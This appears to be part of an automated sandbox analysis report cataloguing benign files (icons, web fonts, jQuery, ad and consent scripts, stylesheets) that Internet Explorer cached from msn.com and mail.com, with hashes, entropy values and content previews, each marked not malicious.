Preview:	.PNG........IHDR................U....pHYs..........+......IDATx..U=l.E.~3;w{..#].Dg!.SD...p...E....PEJ.......B4.RE. :h..B.0.-$.D"Q 8.(.;.r.{3...d...G......7o..9....vQ.+...Q......."!#I......x\|...\...& .T6..~......Mr.d.....K..&..}.m.c.....`.`....AAA..,.F.?.v..Zk;...G...r7!..z......^K...z.........y...._..E..S....!$...0...u.-.Yp...@;;;%BQa.j..A.<)..k..N.....9.?..]t.Y.`....o....[.~~..u.sX.L..tN..m1...u...........Ic....,7..(..&...t.Ka.]..,.T..g.."...W......q....:+t.?6....A..}...3h.BM/.......<.~..A.`m...:.....H...7.....{.....$... AL..^-...?5FA7'q..8jue........?A...v..0...aS.:.0.%.%"......[.=a......X..j..<725.C..@.\. ..`.._....'...=....+.Sz.{......JK.A...C\|{.\|r.$.=Y.#5.K6.!........d.G...{......$.-D.z..{...@.!d.e...&..o...$Y...v.1.....w..(U...iyWg.$...\>..].N...L.n=.[.....QeVe..&h...`;=.w.e9..}a=.......(.A&..#.jM~4.1.sH.%...h...Z2".........RP....&.3................a..&.I...y.m...XJK..'...a......!.d.......Tf.yLo8.+.+...KcZ.....\|K..T....vd....cH.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\BBPfCZL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	downloaded
Size (bytes):	2313
Entropy (8bit):	7.594679301225926
Encrypted:	false
SSDEEP:	48:5Zvh21Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333q+PagKk7X3ZgaI9kMpRd
MD5:	59DAB7927838DE6A39856EED1495701B
SHA1:	A80734C857BFF8FF159C1879A041C6EA2329A1FA
SHA-256:	544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDE5AD62AD462D57
SHA-512:	7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BD0CEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB86
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	GIF89a2.2.....7..;..?..C..I..H..<..9.....8..F..7..E..@..C..@..6..9..8..J..z.G..>..?..A..6..>..8..:..A..=..B..4..B..D..=..K..=..@..<..:..3~.B..D.....,\|.4..2..6..:..J..;..G....Fl..1}.4..R.....Y..E..>..9..5..X..A..2..P..J../\|.9.....T.+Z.....+..<.Fq.Gn..V..;..7.Lr..W..C..<.Fp.]......A.....0{.L..E..H..@.....3..3..O..M..K....#[.3i..D..>........I....<n..;..Z..1..G..8..E....Hu..1..>..T..a.Fs..C..8..0}....;..6..t.Ft..5.Bi..:.x...E.....'z^~.......[....8`..........;..@..B.....7.....<.................F.....6...........>..?.n......g.......s...)a.Cm....'a.0Z..7....3f..<.:e.....@.q.....Ds..B....!P.n...J............Li..=......F.....B.....:r....w..\|..........`..[}.g...J.Ms..K.Ft.....'..>..........Ry.Nv.n..]..Bl........S..;....Dj.....=.....O.y.......6..J.......)V..g..5.......!..NETSCAPE2.0.....!...d...,....2.2........3.`..9.(\|.d.C .wH.(."D...(D.....d.Y......<.(PP.F...dL.@.&.28..$1S....TP......>...L..!T.X!.(..@a..IsgM..\|..Jc(Q.+.......2.:.)y2.J......W,..eW2.!....!....C.....d...zeh....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\BBi9ul[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	607
Entropy (8bit):	7.489655261883392
Encrypted:	false
SSDEEP:	12:6v/7eyLEWN8/eAcUm996kBQrNhmJLT2Y138dnIJZW5FuQZJrK:GYtvmVBQrNYEY+qAf8
MD5:	3AEADA932B138AC5F8FCF7396460A1C9
SHA1:	D2DE1CD26AC37BFCA3A389EBB10A13869F3B0B8F
SHA-256:	9402E339B739B39988F6EC83C34F29CB70E93B3C2394BBCE435E9D2AC28CF9E1
SHA-512:	BACD7B146409A59D78C0653A882A952958BD27C1C7A56EA902A8594AC92AEE91EC2A45C997FDEEF25302E73CEBFBC47565DE4B2EF7485A420419D9761942125C
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBi9ul.img?m=6&o=true&u=true&n=true&w=30&h=30
Preview:	.PNG........IHDR.............;0......pHYs..........+......IDATx..V;KC1.N...ts.(trr.I..@.Ap.."...SA'A...A..nb..A..c.\...YT\|..i.r.sk{.E..i....I.&E........C..%O.Ih3Z.)y..f..$j\...V..<..X....B....n....o.0..s.k....p.....'.;...u.@Q.(Z.r...Nq1.....EQO...Kp....p.%Y{....8%..vk._.w.hWx.f.....M_..L.... ......~.8....!a.../........y).,D...J.G......6..CT...9.@...e ...Y../}.....o.... .;d.=.&...p.;v.......+i.<..T.(.yr....^k"y.u........Z..U..}`..C.g.......A.....I%[..,@-....P.V.u......t.+w.@.....v.U.%o1.i..d.O...{S.[...TX.".O % {w&.p...%Cs...8.{.B....+y.(X0.y.`.&......`..._.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\BBnYSFZ[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	7.4464066014795485
Encrypted:	false
SSDEEP:	12:6v/7oFyvunVNrddHWjrT0rTKQIxOiYeJbW8Ll1:RFyiDrqTSQxLYeBW8Lz
MD5:	991DB6ED4A1C71F86F244EEA7BBAD67F
SHA1:	D30FDEDFA2E1A2DB0A70E4213931063F9F16E73D
SHA-256:	372F26F466B6BF69B9D981CB4942FE33301AAA25BE416DDE9E69CF5426CD2556
SHA-512:	252D9F26FA440D79BA358B010E77E4B5B61C45F5564A6655C87436002B4B7CB63497E6B5EEB55F8787626DA8A32C5FCEF977468F7B48B59D19DE34EA768B2941
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx......Q..?WE..P...)h...."".....?a.....55.4.....EECDZ.A.%M0.A.%....<../..z.}.s..>..<.y_.....6../S.z.....(..s9:....b.`2.X..l6..X...F..N..x<.r...j...........<>..D"A......-.~...M .`2.`.Z...r1.N..b.v;..Z.z..R,.I&...A:.......~?....NG.Vc.X..4.M......Ta.....l&.....,...F...v....j."....zI.R.&....r.zi..a.rY..f3.\N6Qt?......U..5..R.VI..D"...,.^O..p....._>q.....!.\|....K.w....J_.x.=...1y~..C{.<F...>..:\|...g.\|....8..?.....;.yM.f@..<.....u..kv.L.5n.....m.M...O....V.G.Q......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\droid-bold[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 65364, version 1.0
Category:	dropped
Size (bytes):	65364
Entropy (8bit):	7.99230051933347
Encrypted:	true
SSDEEP:	1536:Zrru6NXsTzHGIYpVPssuzNAZ9XbYQNDPlL:ZrK2eYUrzNAZ9rdNDPlL
MD5:	8B4A726986A82F5D1D74951FC2186838
SHA1:	E1F9C9F69ACDA748A9EE36D1989B1BA9982C324D
SHA-256:	01F4382A4EDE1FADCE5FA1CB3C83B0EA84E0BD156E3C9F0FBF82010F0485346C
SHA-512:	3FA4D21053B37D7909E9BE755D795A84D74276F0B4F8C3F644F3156EBB744B4BEC611AB5B550CFCD9510F63711295BBD01E5B4F368026EE5AA97A1D86F44D2A6
Malicious:	false
Preview:	wOFF.......T................................FFTM...8........_c.7GDEF............'.dGPOS.......O..bN...VGSUB......8...P.<.KOS/2.......`...`....cmap...`.........lD.cvt ............K.RQfpgm...\...7....s.#.gasp...............glyf............l*head.......6...6.yW.hhea.......!...$....hmtx...p.......x...loca..............P.maxp....... ... ...bname.............w.post...\|.......A..L.prep.......&...beq.........N.-\_.<...........2......u.R.r..................x.c`d``..'......._%.a...2`...............^.....y......./.Z.....&.................3.......3.....f..................@. [...(....1ASC. . .........m.. ........^..... ..x..V]H.W.=;s..,"%..A......A.."....Y.. .J....a...!.)!.R.E..<."..)E....T+AJ..J.....J..H...\|..$f.K....;..w..1...^.....0..a.^@....E..a.i..M.F..C..F.a..[.q..N.M...1.Dt...L...D........@.{.).........jf....=......]......P...,..~.6.g.1...v.......vn.C..T..o.;L/..@.....2..!...S.)S..C........n9.p..t..7......y....c..B..Vx...<w......t....N.EL-c.9^".c...}......uL:u..>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\droid-normal[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 61804, version 1.0
Category:	dropped
Size (bytes):	61804
Entropy (8bit):	7.993654137588428
Encrypted:	true
SSDEEP:	1536:wErSmv+AzK94ZKMKFO5SLRFQy0gw6Xgiy+AUuyi4vdM2QM:w+Bnz+4EVgSRFQhxZibAUli41Zl
MD5:	E77AD93F5E931DD5463E5390ADA74919
SHA1:	5E7D4F84636B5EB234400031139E27D951E0CDCE
SHA-256:	F76C90EFCA92F37B1CF87A05BA969B5E6F34FDC5D40C9023FF655E608905B2E0
SHA-512:	DD8F989BEE14DDAEF39E204167D82BB9B6AF4307DEEE77D3AD2FA3D92EFE2F4563E5D6E44A98E4E75AFA172F3B60485CC79E0669C5CDBC499EBFF7846FE00C41
Malicious:	false
Preview:	wOFF.......l................................FFTM...P........_c.CGDEF.............'.eGPOS.......7..].n...GSUB.......8...P.<.KOS/2......._...`...dcmap...L.........lD.cvt ............9.=.fpgm...H...7....s.#.gasp...............glyf.......7.....]j)head.......4...6..W.hhea.......!...$...yhmtx...l.......\|l...loca................maxp....... ... ...>name...........W...dpost..........P...Rprep.......f....;..x.c`d``...{...6_..9.@..,c0}..V....r\|a...r00.D.C...x.c`d``..'.....o..E._..".).............._.....z......./.Z..........x.c`f)b......:....Q.B3_`Hc..............i...B4.....3.:.;3....e..'.....X..a>H..u..R``.......x..V]H.W.~..}qR..."CD$.q.$.2.K..A....B..(!..."E.QDJ.......R.."E.....)C../....Y.2:....y..D\h.......<..9v....&.Op.E....i..\..._B!...^.....G...d.".R(z/.d.g..1...7.ib..\..S...u.<R.1.....c.c.%...s.....oc...~=a.....~.'.b...L..K..I..[...O.I..O\|.5.(..Vr....../l)v.f0a.Q1.i.:..w..6...D.K`.K..LM.x.*.oK:."sL....8m............."....cG.j.g..1$...2...Y.....!s.....g.>7...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\icomoon[1].eot Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Embedded OpenType (EOT), icomoon family
Category:	downloaded
Size (bytes):	5800
Entropy (8bit):	5.825228481926686
Encrypted:	false
SSDEEP:	96:uAIskuv1VO+6TF+Sad35z4k/728u9OsF92klsnldt2fbTvdTKBcRdepkdJd9MeiL:uAQuvLp6TFiJz4k/7Sn927ZQTvdGBcRO
MD5:	E9DAD266085B27E79EE637F4DF05DC31
SHA1:	4694D66697B32644302E8064669AD8880ED909E2
SHA-256:	D472E45B758D198183A15708B60153A343DA81854A70E278DA3862D14E475BC2
SHA-512:	9CEA7FD6CFC24EB63374A31A49A18FB76A3C8AC446E14C0095A9CA834963FD717C0B0E5E00C6980593BFED43A42F3B66E3A82EFE433906AE82185729B70F8BC5
Malicious:	false
IE Cache URL:	https://s.uicdn.com/mailint/9.1722.0/assets/webfonts/icons/icomoon.eot?iefix
Preview:	..................................LP.........................u......................i.c.o.m.o.o.n.....R.e.g.u.l.a.r.....V.e.r.s.i.o.n. .1...0.....i.c.o.m.o.o.n................@GSUB...........OS/2...,...p...`cmap..$........gasp............glyf. .........Dhead..........6hhea...q.......$hmtxc..E...,....loca2Z6........\maxp.4.....<... name.J.....\....post........... .........,..latn................liga...............................0.L.`...........,.....'.....................(...........................)...................+...,...........................3...................................@.........@...@............... .....................................". ....... ._.c.g.i.l.p.u.w................... ._.a.e.i.k.o.r.w...........................................%............................................................79..................79..................79..................79..................79..................79..................79..................79..................79........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\jquery-2.1.1.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	84249
Entropy (8bit):	5.369991369254365
Encrypted:	false
SSDEEP:	1536:DPEkjP+iADIOr/NEe876nmBu3HvF38NdTuJO1z6/A4TqAub0R4ULvguEhjzXpa9r:oNM2Jiz6oAFKP5a98HrY
MD5:	9A094379D98C6458D480AD5A51C4AA27
SHA1:	3FE9D8ACAAEC99FC8A3F0E90ED66D5057DA2DE4E
SHA-256:	B2CE8462D173FC92B60F98701F45443710E423AF1B11525A762008FF2C1A0204
SHA-512:	4BBB1CCB1C9712ACE14220D79A16CAD01B56A4175A0DD837A90CA4D6EC262EBF0FC20E6FA1E19DB593F3D593DDD90CFDFFE492EF17A356A1756F27F90376B650
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquery-2.1.1.min.js
Preview:	/! jQuery v2.1.1 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /..!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.1",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,funct

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\logo_mailcom[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 127 x 33, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	772
Entropy (8bit):	7.357605427427946
Encrypted:	false
SSDEEP:	12:6v/7KCS7xzUE6epvFwEljtO4NhS+A4v0oZuds7kwJbZwC5M/6je+eLbu6E7Ufj+U:9CSxH6uwCjpEsu4L5aQefW5qjUnA
MD5:	02D779E0724E6334C085956D8315394B
SHA1:	7D525F7DBC0BC1AC330E13B965CF6FC6425D511C
SHA-256:	C6229002F99CECEF58F2CE16F5B983C52F5B3A17E7114A61C49807E7434158B6
SHA-512:	9A49C19530E2AA95383B24381DAF3B47D379C96212BBCD8262CF93340923BDCD11831AA62FB826C78E0F6AC6BD300ADF51F0652A01EDE4B7358B74AE17FE6C8D
Malicious:	false
IE Cache URL:	https://s.uicdn.com/mailint/1/assets/header/logo_mailcom.png
Preview:	.PNG........IHDR.......!..........3PLTE......................................................G....tRNS.. 0@P`p........#......pIDATX.... .E...1..._;....3.\....BH._Z-...I.H.m.;..w...w...N.}>S.M9.ez....9.<{.cn..s.y>..4[I+.H6.`....2.]R.F_..%..3...zIr....)..#.r.#.....@g..M#.6....>..m.....j$...B.V.Ws....d%i...<..$U.....`>8.,.e'9=..=.....)..T....Be..v...l-r.....Mms.'..I.!sg.".$..[..z......IR&.G......"."S..fs.j..y...g.vx.,%.......U.....w\|.......G......{...v..]..._..^...........{t..\.....==6..L.....c.X8..BW.....d\o..b..\|;..x..wq.<oD!...'#..Zv.......FZ...#./..@.Hf..{E..V...{.R....j.7.v.[U.......A....n..X/..-.WU'...V......+In....TW.....U....=.(..H...Nm..........:...?WA..$._..da...H.}..`Z^....;.>....'..\|.4..b....o........Z...S.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\magnifier_mailcom[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	732
Entropy (8bit):	5.265672233952199
Encrypted:	false
SSDEEP:	12:TMHdPNMuNi/nzVr/KYf3nDNNCvHkMLYLF1Ug6INLaM:2dauNAxLf3HCvEOm8gjX
MD5:	6FED3829447BE81C0006544E4C112E4D
SHA1:	6FD0690EBA685E6A0DFA6FC77DF3ABB64BDD0FD6
SHA-256:	C065CC1BE59013B03720C6FC9F710E5A4A242131E131F7E63479C9FB9CE7BD8A
SHA-512:	3E2EECCE7FC21DDE92688CFE949CCE2C603EBF96281C7D6B834EC982358B59B1AA9FA14D5A5F16278D40185E55F62839C7BA7CAF5489D291F38002989037E148
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Ebene_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 15 15.7" style="enable-background:new 0 0 15 15.7;" xml:space="preserve">.<style type="text/css">...st0{fill:#004788;}.</style>.<path class="st0" d="M14.7,14l-3.8-3.8c0.9-1.1,1.4-2.4,1.4-3.9C12.4,2.8,9.6,0,6.2,0C2.8,0,0,2.8,0,6.2s2.8,6.2,6.2,6.2..c1.2,0,2.3-0.3,3.2-0.9l3.9,3.9c0.2,0.2,0.4,0.3,0.7,0.3l0,0c0.3,0,0.5-0.1,0.7-0.3C15.1,15,15.1,14.4,14.7,14z M1.8,6.2..c0-2.4,2-4.4,4.4-4.4c2.4,0,4.4,2,4.4,4.4s-2,4.4-4.4,4.4C3.8,10.6,1.8,8.6,1.8,6.2z"/>.</svg>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\medianet[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	397524
Entropy (8bit):	5.486712092655297
Encrypted:	false
SSDEEP:	6144:zMwkNYeqvGgDnmWynGqf8dM03VCu1bmE1ly9PIy:WqvfDmnGU8dMGxVL4PIy
MD5:	2E8794257121D0FE154C25FD03F89A92
SHA1:	2EB78A0C2DC8F1903F96696CD37CCFD639973631
SHA-256:	B7B42AC2A4D6C205B73E7E85A54AC47819EEE3045AEE894320AB9177A0E34CC2
SHA-512:	7A23C6E490413A8EF04EF597EC369905199231E7F6A89E68AA4C97DE2FC735C5B643C0EEC8800B400365F85B430906242599B817FB78F56EB70C453ECE0C8310
Malicious:	false
IE Cache URL:	https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";for(var l="",s="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[],e=0;e<3;e++)g[e]=[];function d(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl\|\|"https://lg3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{logLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errId:g[a][0].errId,message:g[a][0].errorVal.message,line:g[a][0].errorVal.lineNumber,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON\|\|"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\medianet[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	397523
Entropy (8bit):	5.486729810423863
Encrypted:	false
SSDEEP:	6144:zMwkNYeqvGgDnmWynGqf8dM03VCu1bkE1ly9PIy:WqvfDmnGU8dMGxVt4PIy
MD5:	320349AC9D3F1AEB4F3BEE9040DEEFD6
SHA1:	3E1E35901AA27F9BAE5E165966A1C6E77598DC1D
SHA-256:	314D3C31BB9E28C660EFB9DA390C63082479AF9E698BF91465AD5C76DFD72753
SHA-512:	4A7566371D78860D3BFA3DF07E4E061B4F3886C2E35A8870090AF48A9944EB3065653E7928EC54DF9F325EF03B26657832E120923CBBD749378246E14FD76F2A
Malicious:	false
IE Cache URL:	https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";for(var l="",s="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[],e=0;e<3;e++)g[e]=[];function d(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl\|\|"https://lg3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{logLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errId:g[a][0].errId,message:g[a][0].errorVal.message,line:g[a][0].errorVal.lineNumber,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON\|\|"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\navigation[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	14934
Entropy (8bit):	5.859518670964781
Encrypted:	false
SSDEEP:	384:inRRfaX93XqRN0Gosli2+G6lDiOT+RjqxG7VRn90turGRiaX2gRhfzSRxkNGVh6h:iXfaX9nqRN0Gvli2+G6lDiOTTG7tYurs
MD5:	144F5DFB7C1A76EC2069838C8AC519B8
SHA1:	2B636D22C1B24006CD3C697912AA8E6673D848F4
SHA-256:	5563CDB209F42C951442447A6CFEBA703F100A2CE707253BD4378DE953E7ECCC
SHA-512:	715D1B87FEAFF5F5807708EA44FB12AF5BE3672EBBD24BC0C7C9BA233D59CED152C1D64378F9FA955F74098C15437D3A9E531CB5A427D081FC5E0BC93CCA265F
Malicious:	false
IE Cache URL:	https://s.uicdn.com/mailint/9.1722.0/assets/_sn_/css/mailcom/mod-navigation/navigation.css
Preview:	[data-mod-name=navigation]{font-family:Droid,sans-serif}@media (max-width:1023px){[data-mod-name=navigation]{display:block;float:left}[data-mod-name=navigation] .nav{display:block;height:auto;position:absolute;right:100%;top:0;width:24rem;background:#fff}[data-mod-name=navigation] .nav a,[data-mod-name=navigation] .nav span{box-sizing:border-box}[data-mod-name=navigation] .nav .offcanvas-item{display:block;height:4.4rem;width:100%;float:left}[data-mod-name=navigation] .nav .offcanvas-home{background:#1a1a1a no-repeat 1rem 50%;background-image:url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDI0LjMuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkxheWVyXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IgoJIHZpZXdCb3g9IjAgMCA1NDIuNSAxNDUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\optimize[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	92386
Entropy (8bit):	5.496581449666636
Encrypted:	false
SSDEEP:	1536:Uxwo3R9B0afIfnPMgiu0s8dvL3UI1hLvX/PHY2z9Hm1j9nffDPiwRVMSPBvjp:Uxf3R9B0nPAueLEIrvXzpHIBo6N
MD5:	82E2FEF50733C766D22086CB4DFE093C
SHA1:	90FEB43FE81D08EE7FA9C61BCF03A4CC78ED3486
SHA-256:	774D914DAA84F76725B7A8E3B5FE30BC7F7426D543B182BE7379DD4F5AB8F46E
SHA-512:	2D15A300A649C6E6FFD4043487DE78DB4E3892EB2569DBC5EEF3C047A8B5245E306E931DBD306D1951F8B5F5A2A7D714F1D0F783B24FFAECFB558A7C47A1B2A9
Malicious:	false
IE Cache URL:	https://www.googleoptimize.com/optimize.js?id=OPT-KKZDDV4
Preview:	.// Copyright 2012 Google Inc. All rights reserved..(function(){..var data = {."resource": {. "version":"3",. . "macros":[{. "function":"__e". },{. "function":"__dee". }],. "tags":[{. "function":"__asprv",. "vtp_globalName":"google_optimize",. "vtp_listenForMutations":false,. "tag_id":6. },{. "function":"__asprv",. "tag_id":7. }],. "predicates":[{. "function":"_eq",. "arg0":["macro",0],. "arg1":["macro",1]. },{. "function":"_eq",. "arg0":["macro",0],. "arg1":"optimize.callback". }],. "rules":[. [["if",0],["add",0]],. [["if",1],["add",1]]].},."runtime":[].....};.../.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},da=function(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:ba(a)}},ea="function"==typeof Objec

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\otBannerSdk[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	374818
Entropy (8bit):	5.338137698375348
Encrypted:	false
SSDEEP:	3072:axBt4stoUf3MiPnDxOFvxYyTcwY+OiHeNUQW2SzDZTpl1L:NUfbPnDxOFvxYyY+Oi+yQW2CDZTn1L
MD5:	2E5F92E8C8983AA13AA99F443965BB7D
SHA1:	D80209C734F458ABA811737C49E0A1EAF75F9BCA
SHA-256:	11D9CC951D602A168BD260809B0FA200D645409B6250BD8E8996882EBE3F5A9D
SHA-512:	A699BEC040B1089286F9F258343E012EC2466877CC3C9D3DFEF9D00591C88F976B44D9795E243C7804B62FDC431267E1117C2D42D4B73B7E879AEFB1256C644B
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/otBannerSdk.js
Preview:	/** .. * onetrust-banner-sdk.. * v6.13.0.. * by OneTrust LLC.. * Copyright 2021 .. */..!function(){"use strict";var o=function(e,t){return(o=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var o in t)t.hasOwnProperty(o)&&(e[o]=t[o])})(e,t)};var r=function(){return(r=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function a(s,i,l,a){return new(l=l\|\|Promise)(function(e,t){function o(e){try{r(a.next(e))}catch(e){t(e)}}function n(e){try{r(a.throw(e))}catch(e){t(e)}}function r(t){t.done?e(t.value):new l(function(e){e(t.value)}).then(o,n)}r((a=a.apply(s,i\|\|[])).next())})}function d(o,n){var r,s,i,e,l={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return e={next:t(0),throw:t(1),return:t(2)},"function"==typeof Symbol&&(e[Symbol.iterator]=function(){return this}),e;function t(t

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\otFlat[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	12282
Entropy (8bit):	5.246783630735545
Encrypted:	false
SSDEEP:	192:SZ1Nfybp4gtNs5FYdGDaRBYw6Q3OEB+q5OdjM/w4lYLp5bMqEb5PenUpoQuQJYQj:WNejbnNP85csXfn/BoH6iAHyPtJJAk
